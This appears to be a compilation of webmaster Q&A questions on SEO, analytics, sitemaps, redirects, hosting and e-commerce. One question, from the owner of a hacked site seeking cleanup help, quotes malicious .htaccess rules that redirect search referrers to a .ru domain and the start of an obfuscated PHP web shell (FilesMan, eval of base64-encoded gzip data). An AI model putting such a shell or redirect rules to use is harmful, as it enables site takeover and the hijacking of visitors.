Content Sliders (Nivo Slider) and SEO

With sliders like "nivo slider" it slices the image up into segments to perform its transitions. This means you cannot put "real" text over the top like you can with other basic transition sliders (e.g. jQuery Cycle) (e.g. in jQuery cycle you could do something like this)

 here is some text we can postion over the top of our slide that will move as the slide moves

      Now if you have good SEO keywords in your slider (which maybe at the top of the page). You have to slice the text into the main image with nivo and you lose them keywords. Would putting the same information in the title / alt tag work just as well? Or is it time to drop Nivo and go back to a slider you can position text over?


Merged Contents From Other Sites - SEO Effect

I am working on an web app, part of which grab contents from other several sites and show them in a merged way (partial info). Those sites are already dynamic and thus it will be super dynamic/changeable in every minutes. I was wondering to know, whether I can have seo benefits in this way, (as these are already exists in those external sites)? If doing some anything can help to get SEO on these pages, can you please explain how to achieve a decent SEO effect for these pages? > Just to clarify one mis-understanding, I am not stealing the contents from > other sites.I am using those site's api access to do this and its very much > allowed. My main intention is to merge only the CLOSELY RELATED items into > one place from several sites(using their api, of course), which will > facilitate visitors to see them all in one place and save time from explore > each sites separately. Instead using full contents, I am showing partial, so > that, if a user get interested, then they can explore the full content page > from their real owner sites and I get the credit for affiliation. Hope this > make sense...


Placed Analytics code - Google still not displaying analytics

I had placed Google Analytic's code on my site and it started tracking my site but from some time it has stopped tracking it. I went back and checked to see if I had removed the code by mistake but it is there and is present in the head. Can anyone please help me out in making my site traceable again. Thanks.


How to use google ecommerce to track the registrations?

I am using the below code for tracking the registrations               var _gaq = _gaq || [];       _gaq.push(['_setAccount', 'UA-xxxxxxx']);       _gaq.push(['_setDomainName', 'website_name']);       _gaq.push(['_trackPageview'],);       _gaq.push(['_addTrans',         '12121212',                    'title',           '1.00',                  '',                    '',                       '',                '',              ''                    ]);       _gaq.push(['_addItem',         '12121212',                    'title',         'JOb App',                 'Email',           '1.00',                  '1'                      ]);       _gaq.push(['_trackTrans']); //submits transaction to the Analytics servers            (function() {        ...                })();         }       But my confusion is, _trackPageview is having no value. Is it OK to have NO value ? It is not reporting anything in Google analytics. Thanks


How do search engines handle URL's when it comes to SEO?

I am building a website using Symfony. At the moment, the "raw" URL's being used are like this:               www.localhost.com/mainpage/home     www.localhost.com/events/1/name-of-the-event      When the development of the website is finished, I will use the .htacess file to rewrite them as follows:               www.localhost.com (this is the mainpage/home URL)     www.localhost.com/events/name-of-the-event      My question is when the search engines crawl the site, will they be reading the old (non-rewrited) URL's or reading the rewrited URL's?


PHP Library to accept logins from Facebook and Google?

I'm making a site and I want creating accounts / logging in to be very easy, so I want to support logins with Facebook Connect and Google Accounts. I know both offer APIs, but seems like a lot of coding. Is there a library out there that can handle both?


Alertpay payment: how come customers can change shipping address in the end?

I've the following issue with the payment service Alertpay.com I've a drupal-based website, and I forward customers to Alertpay to insert their credit card information. The issue is that Alertpay offers an option to change shipping address. I really don't like this, because each country has a different shipping rate (included in the total I pass to Alertpay). Consequently a customer could set a country in my website, pay a low shipping rate, and then change the shipping address in Alert Pay without updating the shipping costs. ps. There is also a field shipping_costs in AlertPay parameters, but still Alertpay provides an option to change shipping country. I don't get why, it is not logical. thanks


Can Google Analytics cause site stability problems under Windows 2000?

Recently we added the code for Google Analytics to our web site. This code was added to a header.asp root include file that is used in all pages of our entire site. Since this was added we began to see different behaviors of our site and in some instances one of the servers was found to not serve web pages for nearly 12 hours (we have a load balanced farm obviously). Are there any issues with the GA piece in an older Windows 2000 IIS environment? Would the placement of the JavaScript code in the header root include file contribute to this issue?


Where do blogs get their pictures?

I see a lot of blogs that are full of picture galleries, showing celebrities for example, and I wonder how they get all these pictures. Do most blogs just take pictures from Google Images? Or is there another way they get these pictures? What interests me the most is what the legal implications are.


Problem with Google indexing URLs in my XML SiteMap

My XML sitemap has a lot of links - for example: > nanoc.gigfa.com/post.php?id=1   >  nanoc.gigfa.com/post.php?id=2   >  nanoc.gigfa.com/post.php?id=3   >  nanoc.gigfa.com/post.php?id=4   >  nanoc.gigfa.com/post.php?id=5 I've added my sitemap via Google Webmaster Tools (my site map -> www.nanoc.gigfa.com/sitemap.php), but Google has only added this page - nanoc.gigfa.com/post.php?id=1 - from 171 pages. This is the Google Tools result when i submit my sitemap:                   Sitemap     Status  Type    Downloaded  URLs submitted  URLs in web index     /sitemap.php        OK  Sitemap     Sep 2, 2011     171             1      Why has Google added only 1 page in web index?


Any good research studies on effectiveness of web rating systems?

I'm going to be creating a website that allows users to upload and vote on each others' content (specific kinds of images), and I want a simple rating system in place. I do not care about the users and examining their rating habits. I only want to make sure that 'good' content floats to the top, and 'poor' content floats to the bottom. I was trying to determine what sort of rating system to use:   1. A binary upvote/downvote system like **StackExchange** or **Youtube**.   2. A 5-star or n-star rating system like **Netflix** , or the previous rating system on YouTube.   3. An upvote-only ("like" but no "dislike") system like **Digg** or, I guess, **Facebook**. My concern with a 5-point rating scale is that some users will tend to be 'extreme' voters, voting all 5s and 1s. However, I wonder that with a unary rating system, I won't have all of my users voting 'yes' to everything. I know this is an extremely subjective question, so perhaps I should not be asking it. I am simply interested in reading a thoughtful and informative comparison on the pros and cons of these choices. I've found one article which discounts the five-point rating system because they are often poorly weighted -- the average weighting being far too high to be useful: > Unfortunately, sites discovered that results from the 5-point scale weren’t > meaningful. Across a wide range of applications, the majority of people > people rated objects a “5″ – the average rating across many type of sites is > 4.5 and higher.


Big Gorilla Company Compared to Highly Successful Small Company

I am a big fan of 37Signals, and out of curiosity wanted to see the difference between their CRM app (Highrise) and SalesForce's app, in terms of google search rankings and general visitation. Compete shows that 37signals highrisehq.com has 78K users compared to SalesForce's 1.2ML users, but highrisehq.com has a blog read by 100K users and SalesForce does not. More to the point, I get that SalesForce is a Billion dollar company and 37S is not, but I don't know of any content on SalesForce that people regularly go to. Or another way, it seems as though 37Signals never pays for advertisers and SalesForce only does paid advertising. **The question is: what is the best way to compete (i.e. build traffic) against larger companies in addition to building a loyal customer base as 37S has.**


Google Webmaster tools showing sitemap URL's indexed but not showing up in search results

I have submitted simple text sitemap to Google Webmaster tools and after few days it was crawled, after few more most links were indexed according to GWT but it is not showing those links in google. If I do this search (site:domain.com) I only get few url's instead of a few hundred. Is there a delay between GWT showing that pages are indexed and those pages showing up in search results?


How to block entire IPs of a VPN server by IP

I have website that identifies users only by their IPs. That makes it very difficult to keep it secure against unwanted users/attackers. They can simply change their IP by using VPN services that provides them numerous variety of IPs. So what I want is to not just blocking one IP but entire IPs under subnets of a VPN service, once attacker used one of them.


Does every webserver have an httpd.conf file?

I have spent my whole day finding the location of the _httpd.conf_ file for my website. I contacted my host and they told me they didn't give us permission to modify the _httpd.conf_ file. Some webservers gives the permission to edit and find the _httpd.conf_ file on their servers via ssh. My question is that does every webserver have an _httpd.conf_ file in their directory?


Wrong site name when searching

I have a site called "Gethis", but every time I search for "Gethis" it gives me results of "Get his". It only gives me the right results if I search for the URL: http://gethisweb.com/ . How can I fix this?


Correct way of internationalizing links

I am interested in a correct way to show search engine that the link is a translation of some content to another language. For example: you have some article written in German. So this is original post, but this post was also translated into English, Japanese and French. How should I semantically format these links? Looking at wikipedia, I see that they are doing it with `<a href="..." title="..." lang="fr" hreflang="fr">Français</a>`. Also I assume that Wiki is doing this in the right way, but I want to know for sure is this the correct way? Also I do not see there how should I specify that German is the original article and everything else is a translation.


My client have registered a domain name through BigRock.in, and my client needs 10 email accounts, so I decided to provide it through my web hosting (re seller account). My question is - How to provide email accounts without changing the DNS?


jQuery scrolling images for e-commerce site, what to do about users who disable JS

As the title suggests, I am developing an e-commerce site and I intend of having two jQuery plug ins on the default page, one for scrolling images and the other for the navigation menu. Should I be concerned about making the site work if the users disables JS? Cause if they have it disabled my site would be almost impossible to use with the scrolling images blocking the main content. Plus the CMS I am using, Big Commerce, uses a bit of JS for the products pages, which would also look ridiculous with JS disabled. Anyone have experience with this?


Not allowed to upload .HTML files to my own DNN Site: Is it normal?

**My Question:** Our webhost provider wont make it so we can upload .html files to our DNN site trhough the DNN File Manager page. Is that normal, should I push them to allow me to do this? We have recently transferred our website to a Dot Net Nuke run website. We originally had our website on a Linux server with Python scripts handling the backend. Obviously we now have a Windows server running .NET with ASP .NET code on the backend. Our webhost is a local Australian company. And they are saying we cant upload any .html files to the main part of the server, ie, _www.ourdomain.com/Portals/0/_. They are saying that the only place I can upload .html files is via FTP to this folder *www.ourdomain.com/Portals/0/html_content* This is a major problem for me because I am trying to upload my own skin which means I need to upload a main.html file to _www.ourdomain.com/Portals/0/skins/myskin/_ but they wont let me?! I guess what I am asking is, is this normal practice, why would they not allow this? As an experienced web admin for Linux servers and as someone who is used to being able to do whatever I want on my OWN server this is someing that really pis$%s me off!


Why blogger puts BR tags only when content served via RSS feed?

I have a problem with using my new blog RSS feed. I wrote a post (the first one) with some code examples formatted by SyntaxHighlighter. To paste a code sample I'm switching from WYSIWYG to HTML view and put the code inside _pre_ tag like this (don't worry, h4 tag was opened a line above the screenshot area): ![formatting code example on the blog](http://i.stack.imgur.com/wIPO4.png) The problem is that such _pre_ tag, when later accessed via RSS feed contains _br_ tags instead of new line characters. Below is screenshot of the adequate RSS source code: ![RSS source code with unwanted BRs](http://i.stack.imgur.com/2PnwZ.png) What's most important **when accessed via www, the post html is formatted fine, no _brs_ inside _pre_**. I verified that by downloading the blog post with wget. So I believe this isn't SyntaxHighlighter issue nor any 'new line' formatting on blog post save. This is a real problem as I want aggregate my blog on employers blog and all formatting of code examples is broken because of that. The base question is: how to get rid of those unwanted _brs_ served via RSS? What's strangest friend of mine also uses blogger for such aggregation and he has no such issue. I checked his RSS feed and there are no _brs_ inside _pre_ tags. We also compared settings of our blogs. However we have found no clue.   * The blog post   * RSS for the blog (just check source and search for string: pre class="brush)   * Mentioned friend's blog Last thing: I see content served from RSS is now also html encoded. If I remember well, it wasn't previously. **UPDATE:** I found no solution for this issue nor help anywhere. So I've written short PHP script to filter the feed source. Someone may find it useful so here it is:               <?php     $url = 'http://blog.tamashumi.com/feeds/posts/default';     $pre_pattern = '/(\<pre.*?"\>)(.*?)(\<\/pre\>)/';     $br_pattern = '/\<br \/\>/';          function br2nl($match) {         global $br_pattern;         $nobrs = preg_replace($br_pattern, "\n", $match[2]);         return "$match[1]$nobrs$match[3]";     }          $content = file_get_contents($url);     $content = preg_replace_callback($pre_pattern, 'br2nl', $content);          header('Content-type: application/atom+xml');     echo preg_replace($br_pattern, "<br/>\n", $content); // adding NLs     ?>      A result of filtered feed can be obtained under the URL. On the first look it doesn't differ, the source does though. Last thing to mention. I found that blogger had some time ago 'convert line breaks' flag among configuration settings. It's replaced now by new post-level settings: ![enter image description here](http://i.stack.imgur.com/j4Ffs.png) I believe that my friends blog works as expected because it had the 'convert line breaks' flag set before it disappeared from the configuration panel and probably as a global setting it has influence also on the RSS. Those new post- level settings doesn't affect RSS feed anyhow. Well, that's only an assumption but I have found no other clue for this inconsistency...


Is it possible to hide some topics in phpBB forum?

I would like to be able to hide some of the topics in a phpBB-based forum temporarily from the users - perhaps with the exception of administrators and moderators. I am using the forum for my students and I have solutions of some problems from exams and tests there - posted either by me or by some of the students. I plan to use the same or very similar problems during the next academic year. So I don't want the students to see them, but I want to make the solutions visible again after the tests; so that I do not have to post solutions to same questions again. Is something like this possible? Is this a standard part of phpBB, or do I need to install some modification(s) for it?


Tracking untagged adwords visits in Google Analytics

In the event an AdWords campaign doesn't tag its ads, is there any way to identify the traffic (I know I won't get the low-level type of reporting available through properly tagged campaigns, I just want to get a general idea). For instance, is there any way to narrow it down by Source / Medium (would it appear as Google / Organic, Google / Referral, or Direct / None)?


Google sitemap access error, something to do with .htaccess redirect from http://www. to http://

I recently updated the htaccess of my site to redirect from `http://www.` to `http://`. It all works fine but now I've made some changes to my site and uploaded a new sitemap.xml to google webmaster. I'm getting the following message: > "We encountered an error while trying to access your Sitemap. Please ensure > your Sitemap follows our guidelines and can be accessed at the location you > provided and then resubmit.   >  **General HTTP error: Domain name not found** " I made the sitemap using www.xml-sitemaps.com, any idea how I might resolve this? * * * The domain is: http://lightandspace.co.uk The sitemap is: http://lightandspace.co.uk/sitemap.xml The .htaccess is:               Options +FollowSymlinks     RewriteEngine on     rewritecond %{http_host} ^www.lightandspace.co.uk [nc]     rewriterule ^(.*)$ http://lightandspace.co.uk$1 [r=301,nc]


Hostinger host and tk domain optimal DNS configuration

I want to configure tk domain with hostinger. I don't want to use the redirect option, so I'm trying to set the tk dns. In the image below are shown the parameters of hostinger that I have put in dns service conf on tk ![enter image description here](http://i.stack.imgur.com/8kUSZ.png) Actually the website on tk link doesn't work, but I don't know if this is due the dns propagation time, or is caused by a wrong configuration, Could someone confirm that the used parameters are right?


Is it possible to A/B test SEO using Google Experiments?

I've read that A/B testing does not have a negative impact on SEO, but is it possible to A/B test to improve SEO? My thought is to track each visitor's referring domain and create an event when any visitor whose initial referrer was `google.com` signs up; and serve different templates to each segment. I can't find any information on it here; would this work?


How to receive a mail on new orders?

When a customer makes a new order he receives a couple of confirmation mails, but I (as shop administrator) don't receive any. How can I make prestashop to send me a new mail when customers make new orders?


Clean an attacked website

Since few monts a client website is attacked by bots. I've changed the website source (now wordpress last version), try to clean but bot find hole in sécurity ... After bot action i can find .htaccess files on the website with this inside:               ErrorDocument 400 http://**********.ru/upday/index.php     ErrorDocument 401 http://**********.ru/upday/index.php          [...]          RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|     altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|     metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|     rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch     |yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search     |walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick     |terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey     |galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro     |suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase     |schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*)          RewriteRule ^(.*)$ http://*******.ru/upday/index.php [R=301,L]          [...]      I can find in my log files the used file for add .htaccess:               77.84.28.xxx domain.tdl - [23/Feb/2012:00:00:00 +0100] "POST /fichiers/cookiemw5.php      HTTP/1.1" 200 34 "-" "-"      With this code inside:               <?php $auth_pass="";$color="#df5";$default_action="FilesMan";$default_use_ajax=true;     $default_charset="Windows-1251";preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A     \x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64     \x65\x28'7X1re9s2z/Dn9VcwmjfZq+PYTtu7s2MnaQ5t2jTpcugp6ePJsmxrkS1PkuNkWf77C4Ck     REqy43S738N1vbufp7FIEARJkARBAHT7xRVnNIlui4XO6d7Jx72TC/PN2dmHzjl8dbZf7x2dmd9KJXbHC     tPQCbYHzjgKWYtZQWDdFo3Xvj/wHKPMjFNvGkzwx/vTo1d+hL9cq2MF9tC9dgL8/GKNe84N/jqxRl0PEk     tN5vaLk8AZdEZWZA+L5prJKswdTTy/5xTNv82yWm0J8sw1FxMfoHXoWD0nKFLuWq1SZc+qz9iRH7F9fzru     mVCvc+NGTXYP/9tyx24ndKKi6QSBH3Q8f2CWj84PDwEqyYPUDuWHZrmq5Yysm45z49jTyPXHncgdOQICcu     mz47kjNyrGaSNr4NqdP6d+5ISdYDpGGJ7bc/ruGNr96fS4A607PTg+gsaa9cpzk3fVIF18MLGL1OL+dGwj     AQzKhlHgTkLPCodOWCzQSCFI4 [...]      I delete .php files, .htaccess files, but they appears after hours or minutes ... Whats is the proceed to find the hole / stop the bot attack ? (it's on shared hosting (ovh.com)


SEO optimization when using same content across different TLDs

If I have two sites with almost the same content at example.com and example.co.uk but each is designed to take orders from the appropriate respective geographic location (i.e. .com from the USA and .co.uk from the UK) how does Google handle this in terms of assigning rank? Do I lose pagerank by having duplicate content across the same domain name on different TLDs? How can I limit SEO damage, if any? I note there are already answers to other questions that offer rel="canonical" as a solution but, in the case outlined, I would not want to pass pagerank from one site to the other but keep the same pagerank (as far as possible) for both and have Google serve up the appropriate site for the region the user is searching from (or for). My priority is not losing pagerank. I observe that it is quite common for large multinationals to have multiple sites across international domains but in most cases they seem to have different content. Perhaps this a deliberate SEO choice as well as practical? In my case, the product of the websites is web hosting and the data centres are located in each respective country as well as each site using local currency for orders so it is important to have this localisation, but the products on both sites are essentially the same so the product info on each site does not differ.


When using Mod_rewrite does google bot see the original url or the rewritten url?

If i use the bellow code in my .htacess file would google bot (or any other search spiders) see the example.tumblr.com url or would they see the same url as the user ie. example.co.uk/blog ?               <IfModule mod_rewrite.c>         RewriteEngine On         RewriteCond %{HTTP_HOST} ^example.co.uk/blog$         RewriteCond %{REQUEST_URI} !/standard         RewriteRule ^(.*)$ http://example.tumblr.com$1   [R]     </IfModule>


How can I make a good favicon?

I have a 16x16 PNG that I want to use for my favicon. It works fine in modern browsers, but I need a favicon.ico file for older ones. The problem is that either the ICO format doesn't support semi-transaprency, which my favicon uses, or the converters I've found online don't support it. Which is it? If the format supports it, how can I convert a PNG to an ICO with semi-transparency?


Should I give preferential treatment to proxy users on my ecommerce site?

I am setting up an ecommerce site that caters to a worldwide audience. I would imagine that visitors would come from everywhere, and for whatever reasons, some would be connecting through proxy servers. My site uses a server that is configured to rate limit connections from the same ip address to protect itself from a DOS attack. So, if a proxy server is heavily used by my visitors, then it would appear to be a DOS. This is problematic in a sense that it is hard to tell whether the users are genuinely browsing my site or if a DOS is taking place. So my question is, should I give preferential treatment to proxy users on my ecommerce site? If yes, how should this be done. If not, why not?


Impact of search engine optimization with hosting plan

I want to know is there a direct impact on the hosting plan. Why i am saying is, most linux hosting plan gives us modules for search engine optimization but not in windows plans. I have couple of site hosted with windows plan so how do I increase the search engine optimization for those without any external modules. I am planning to purchase dedicated IP for those too. Except from my code level optimizations (meta tags etc) is there anything else that I need to concentrate on hosting side or anything for ask my host provider for increase the search engine optimization specially for my windows plans.


How long does it take for URL Parameters changes to take effect on Google Webmaster Tools?

Google was showing up pages with affiliate ID parameter in the search results. After some research on how to disallow this, I came across URL parameters in Webmaster tools. I set the parameters for ?a_aid= to Representative URL/No, doesn't affect page content. It's been two weeks since I made the change but Google still shows these results and in Webmaster Tools in the "Effect" column it still shows "None." How long should I wait for the changes to take effect?


How can I extend my google appengine application to run a windows executable?

I've got a simple webapp running on Google App Engine (python). I want to extend the functionality of my my webapp and this requires running a Windows executable on a user uploaded JPG file. This cannot be done on App Engine. Thoughts I've had are to stick the executable on a server somewhere, figure out how to put a python wrapper around it and dial into it with appengine when I need to. I've only been exposed to relatively simple App Engine environment and only know python so I was wondering if someone could suggest some ideas as to the best (and quickest) way to do this?


Self-hosted E-commerce software (preferably PHP) with advanced import capabilities

I'm **looking for an e-commerce software, which I can host myself** (hence I want to import a lot of products. Our catalogue includes every product you can order, not just our stock. So that's why the no product limit would be important). **Advanced import** : I would like to import my products from an XLS or CSV file. At the file upload, specify the rows, the data, what to get imported, if I want to merge or replace, etc. Everything you would expect. I don't want to edit the products one-by-one. That would take forever. **PHP** : I have a Debian 6.0 server up and running, which I can modify any way I want. So anything that can be run on a Linux server is fine. (ASP.net would cost me wonders, hence you have to buy Server2008R2 AND the SQL.) **Open-source, and free alternatives** : I tried many of them, just recently. They provide a viable webshop, for anyone who starts a new small shop, and wants to have his stock uploaded. That's fine. But you can't manage mass amount of items. Nor modify them, etc. Installing plugins is one way, but the only plugins I found were not free, and really badly written. Poor quality, full of security holes. The developer couldn't be found once you paid him. Hiring a developer again, is a waste of money and time. Hence he have to code this all down, and he will ask magnitude larger amount of money, also, if he obfuscates the code or decides to leave, I can't do anything. **That said, free software is not out of the league, but my personal experience says otherwise. This is not a shopping recommendation. I'm looking for a software.**   (There is a Wikipedia entry, and many hits if you do a search. But the Wiki is really outdate, and the hits are mostly just SEO based. Even if you manage to find a product, it's highly overpriced, and hosted by the company (thus monthly paid). It also comes with a low product limit.)


Secure Image is being called Insecure?

I have an image using the secure protocol (https://) but the image is being called insecurely from our homepage using the protocol (http://) - How is this possible? Our SSL Certificate is installed correctly & our Secure Padlock Icon will not show because of this. Thank you! (Secure) As found in the source code: https://shopcandelabra.com/skin/frontend/default/candelabra/images/virtualtour.jpg (Insecure) What the homepage is calling: http://shopcandelabra.com/skin/frontend/default/candelabra/images/virtualtour.jpg


Multiple tracking ID, multiple sites, one email report?

I have a Google Analytics account which contained 10 sites. For each site it has individual ID (for example `UA-1000000-01`, `UA-1000000-02`, `UA-1000000-03`...). So, is it possible to set an automatically weekly email report that contains all 10 sites?


Changed my blog's URL: what next?

I started working on a blog from last month. My blogs URL was quite big (for ex. `http://my-old-long-url-blog.blogspot.com`). I used it because I thought having 2-3 keywords in my URL will help me (I am not really sure that it really helps?). My blog was getting 22-25 visitors everyday. I changed it's URL 4 days ago & added new URL. `http://autohippo.blogspot.com`. In blogger, there is a provision to edit & take any URL, anytime we want. _**Now:_**   1. My old URL posts are still indexed (they appear in Google for particular keywords).   2. My new URL posts are indexed but not ranked (i.e. when I search`site:http://autohippo.blogspot.com` they appear but i haven't received single visit from Google yet.   3. I added this URL to my webmasters & even submitted sitemap.


Firefox: @font-face issue w/ remote fonts

I've been having some trouble understanding this issue. I'm trying to use an @font-face font on a subdomain, say mysite.example.com. The "src" of the font face would be something along the lines of url('http://www.example.com/myfont.woff"). I've tried putting the CSS file on the subdomain, as well as the main domain, and in both cases Firefox will not respect the font-face. The font-face works in Chrome and Safari (haven't tried IE yet). If I move the woff file to the subdomain, it works fine. So I think the issue is with crossing domains. However, if I link to a Google-hosted web font, it works fine. Unfortunately, Google Web Fonts does not have the font I need. I know the easy solution to host the font on the subdomain, but I'm trying to avoid too much duplication and would prefer to serve this font and CSS for the font on the main domain. Any ideas on how to get this to work? Why would it work for Google fonts but not mine?


How do I schedule content publication on a static site?

How do I schedule the publication of new content (in this case, press releases) on my static site? I am using FTP (FileZilla) on Windows 7 to do the job manually. I am assuming there are some FTP clients that will do scheduling, or maybe there is some other way to do this?


Do I need the exact same hardware and software to stress-test my site's capabilities?

Our site would need 2 boxes on the data center. But we don't have the spare money to buy the boxes so we plan to rent dedicated servers. But for the load testing box I have now, it's only one and it's a DELL low end server with only 1.5G memory. Can I still get useful information by stress-testing the low-end server? I am using webbench, loadrunner and it's quite easy to exhaust cpu and memory - my concurrent connections is never going above 10. My site is also kinda big. It's Drupal and a lot of nodes. Would the testing result still be accurate? If it's not, I dare not swtich server. I don't want to risk it.


Content Delivery Policy setup

I want to secure my website using a Content Security Policy. I'm came up with the following policy:               X-Content-Security-Policy: default-src https://www.example.com https://static.example.com; script-src https://ajax.googleapis.com      I have two questions regrding the Content Security Policy I want to set.   1. I use Google's CDN only to get the jQuery library. Is it possible to make a policy that only allows certain scripts to load from a domain instead of the generic `script-src`?   2. Is my policy correct? E.g. having two domains for the `default-src` and a separate one for `script-src`. Will I still be able to server `script-src` files through my own domains?


Magento custom content types

What is the best way to manage custom content types (like in Drupal) in Magento Community? For example I want to make a catalog of jobs (name, desc, image) or catalog of local shops (address, phone, etc.).


Better Spam Protection than reCAPTCHA?

I hope this is a valid question to ask here... but knows anyone a better spam protection than reCAPTCHA? We've now using reCAPTCHA for some time but got now the situation that obviously more and more spam comes through. Is there any better but still more or less user friendly spam protection you can recommend? It can be just a concept or also a (free) service.


What kind of web traffic doesn't show up in Google Analytics?

We are advertising through a display ad network, and found that the traffic they claimed to be sending to our website wasn't showing up through Google Analytics. As an experiment, we set up a test website and advertised it. During the test they have (so far) claimed to send 51 clicks, and the apache logs back this up. However, Google Analytics only registers 21 hits on the page. Is this kind of discrepancy normal? What might explain it?


Could permanent redirect affect SEO?

A friend of mine has his site at domain.com. He, because of a framework and blah blah blah, has allocated the content inside a folder named /home. So, if you go to domain.com it does a redirect to domain.com/home. It is a permanent redirect. Now, when I go to Google, Bing, Yahoo Search, etc, and look for "site:domain.com" no pages are listed but the domain.com page and there is no page there actually (the page is inside /home). Can the permanent redirect be the reason why no pages inside /home are indexed? If you need to look inside the site let me know so I let the real domain here. Thank you! **EDIT:** I've went through the index status report at Google WebMaster tools and I get this report by today. Does it say anything interesting? Ever crawled: 2,874 Total indexed: 2 Blocked by robots: 1 Removed: 0


How to display Ads by Google differently?

I noticed some Ads by Google having different style than the original AdSense ads on few websites. Please have a look at the images below. ![Screenshot of one ad block](http://i.stack.imgur.com/Dov7K.png) ![Screenshot of another ad block](http://i.stack.imgur.com/SxSjf.png) How can I have similar designed Google Ads on my website?


What are dompdf_img_* files?

I noticed recently that my tmp directory is starting to fill up and it seems that it is filling up with file that start with dompdf_img_*. Whatever program that is creating these files is not cleaning them up or not cleaning them up as often as I would like. Does anyone know what program creates these files and if there is a way regulate how long they are kept on the server? Using CENTOS 6.2 x86_64 and WHM 11.30.6


What do big websites do about spam emails to the support department?

My website's support email address is starting to get a lot of spam emails to it, what do big companies do about this?


Wrong data on referral traffic

We are losing data on referral visitors, and we cannot identify what's wrong. Within a certain period, there were 3000 clicks on a banner on our partner's site. (according to data from our partner) Our analtytic shows only 300 referral visits from that banner. We can't understand, where are the rest of visits. I read that some of these referral visits can show up as direct traffic. But we only had 1500 direct visitors within that same period. Therefore, some visitors are still not tracked! Maybe there's something wrong with our tracking code? It is up to date and it is placed within the head tag....


Breadcrumbs in H1 - How does it affect Google?

Is it good for Google? Like this: `<h1> Home >> Services >> Toilet cleaning >> Showcase </h1>`


CDN png image not accessible from my machine

I'm getting a very strange error on http://cure.org where the following PNG image is not being delivered from the CDN to webkit browsers (both Chrome and Safari), but Firefox is loading it just fine. Even more strange is that only one image appears to be affected. Other PNGs, include the site main sprite, are loading just fine. The affected image url is: http://c615642.r42.cf2.rackcdn.com/img/list-focus- bg.png which when it from Chrome and Safari return a "Webpage not available" result. Does this made any sense? Why would Firefox be loading the image but not Safari or Chrome. Also, my testing so far has only included Mac boxes. However, my colleague on Linux is loading the image fine from both FF on Kubuntu and Chrome on Kubuntu. Edit: After clearing my cache in FF it's not appearing there either. Turns out that according to HttpFox, rackspace is giving me an old version of the file. We're going to contact Rackspace about it, but my tech dir says sometimes routers or ISP's can cache the file along the way. ![enter image description here](http://i.stack.imgur.com/9wqgr.jpg)


Magento Community secure?

Has anyone used the Magento Community version for a live site? http://www.magentocommerce.com/product/compare#comparison-chart I've used ubercart for a few sites and am wondering if the free version of Magento is workable for someone with CMS and eCommerce experience, or are there security issues?


Breadcrumb before or after H1?

Which is better for SEO?               home > page > sub page     <h1> sub page </h1>      or               <h1> sub page </h1>     home > page > sub page      ?


Is link a broken link?

When using empty URL fragment links, to send a user to the top of the page (e.g. `<a href="#">return to top</a>`), are these links considered broken or invalid? One of my tools is returning them all as broken links.


Looking for free/cheap Analytics Software like Statcounter

Does anyone know of any Analytics Software similar to Statcounter that is free (hopefully) or cheap? I have used Statcounter in the past and it's very helpful, however, it only allows information on that past 500 visits for free. Their paid version is tiered based on traffic, each tier has caps (data past x amount of visits isn't shown) which is a huge turn off. With Google Analytics, it's a huge pain to show correlation between two set of data: ie. I can see how many visits I get from New York and I can see how many visits I get to a certain page, but finding out how many visits to a certain page I get from New York? Forget about it! Does anyone know of anything that meets my needs?


What happens when you suddenly get too many back links from a single domain?

I'm quite baffled by this issue and I have absolutely no idea who could be causing it. I have a normal php page and we are optimizing it for few keywords. We have been doing general SEO activities since last four months and so far we have build around 350 external links. I checked my webmaster yesterday and suddenly got 2000 links coming from a single “edu” domain. We don’t have any idea how those links came very next day and we never touched that domain during any of our seo activity. Upon further investigation I found that there tons of sites listed there just like ours. As you can see our following page linking to a Chinese university domain http://www.mindarraysystems.com/network-monitoring-software-tools.php My question is what are my options now, Shall I submit this links to google disavow? I have already contacted on few emails to remove these links but it seem it’s a huge university website and I don’t think we will be able to bring the issue to right person. Will google count my website as spam since I got too many links quickly at one single domain?


Backlinks: How does a company's name as the anchor text help with SEO?

Often I see footer links like: SEO by COMPANY NAME How does this help with SEO other than helping a company rank for "Company Name"? When nearby words like "SEO by" get picked up by a search engine crawl, does their proximity to the backlink create some sort of relationship between the backlink and the nearby text?


high number of nofollow links bad?

> **Possible Duplicate:**   >  Ratio of No-follow & Do-follow Backlinks I've been playing with seomoz's tools and it seems like our site has a high number of nofollow links. from what I understand this is because a lot of blogs will make the links used in comments nofollow links, thereby not affecting our ranking? is this a problem and what can be done about it?


Browsers specifically for web development

What are some browser "distributions" (a la linux distributions) that are pre- configured for web development? I'm thinking for example of an OSX app I can download that contains Firefox already configured with the most popular web development FF plugins)


Apply CSS to a particular page element in Firefox

Is there a Firefox extension that will let me simply select a visible element on a page, get a CSS selector referring specifically to that element (as the Firefox Web Developer extension already does), and the TYPE IN SOME CSS that is immediately applied to that selector? For example: I have a page with some yellow text. I want to change the yellow text to red. I want to be able to simply click on the yellow text, see that it can be referenced by the long and cumbersome CSS selector               #firsthalf.foo li #crazystuff .wishfulthinking b a #badidea      and then say               color: red !important;      and see the text turn red.


301 redirect code for IIS6 server

How can I set the non-www url to redirect to www format. Please guide me - if I do it through server control panel, the site doesn't work.


Does Having top domain helps in getting better rankings in SERP

Recently i came across an article claiming free sub domains like blogspot,tumbler, wordpress etc are not ranked well in SERP & top domains are ranked better. Is it true? suppose there are 2 posts, say `www.xyz.com/1.html` & `www.xyz.blogspot.com/1.html` Does Google differentiates between them or it sticks to the quality content.


URL structure for content that is updated daily

